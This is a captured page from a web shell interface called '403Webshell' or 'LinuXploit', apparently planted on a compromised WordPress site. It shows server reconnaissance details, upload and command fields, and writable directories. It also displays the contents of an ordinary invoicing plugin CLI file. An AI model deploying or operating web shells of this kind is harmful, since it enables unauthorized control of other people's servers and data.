403Webshell
Server IP : 194.30.32.123  /  Your IP : 216.73.216.89
Web Server : Apache
System : Linux 4f6650a08421 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : ftpbegirale ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,curl_multi_exec,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /expert/htwebs/www.begirale.com/public/wp-content/plugins/invoicing/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /expert/htwebs/www.begirale.com/public/wp-content/plugins/invoicing/includes/class-wpinv-cli.php
<?php
/**
 * Contains the main CLI class
 *
 * @since 1.0.13
 * @package Invoicing
 */

// MUST have WordPress.
if ( ! defined( 'WPINC' ) ) {
    exit;
}

/**
 * The main class responsible for registering CLI commands
 * @since 1.0.13
 */
class WPInv_CLI {

    /**
     * Creates a new invoice
     *
     *  @param Array $args Arguments in array format.
     *  @param Array $assoc_args Key value arguments stored in associated array format.
     *  @since 1.0.13
     */
    public function insert_invoice( $args, $assoc_args ) {

        // Fetch invoice data from the args
        $invoice_data = wp_unslash( $assoc_args );

        // Abort if no invoice data is provided
        if ( empty( $invoice_data ) ) {
            return WP_CLI::error( __( 'Invoice data not provided', 'invoicing' ) );
        }

        //Cart details
        if ( ! empty( $invoice_data['cart_details'] ) ) {
            $invoice_data['cart_details'] = json_decode( $invoice_data['cart_details'], true );
        }

        //User details
        if ( ! empty( $invoice_data['user_info'] ) ) {
            $invoice_data['user_info'] = json_decode( $invoice_data['user_info'], true );
        }

        //Payment info
        if ( ! empty( $invoice_data['payment_details'] ) ) {
            $invoice_data['payment_details'] = json_decode( $invoice_data['payment_details'], true );
        }

        // Try creating the invoice
        $invoice = wpinv_insert_invoice( $invoice_data, true );

        if ( is_wp_error( $invoice ) ) {
            return WP_CLI::error( $invoice->get_error_message() );
        }

        $message = sprintf( __( 'Invoice %s created', 'invoicing' ), $invoice->get_id() );
        WP_CLI::success( $message );
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit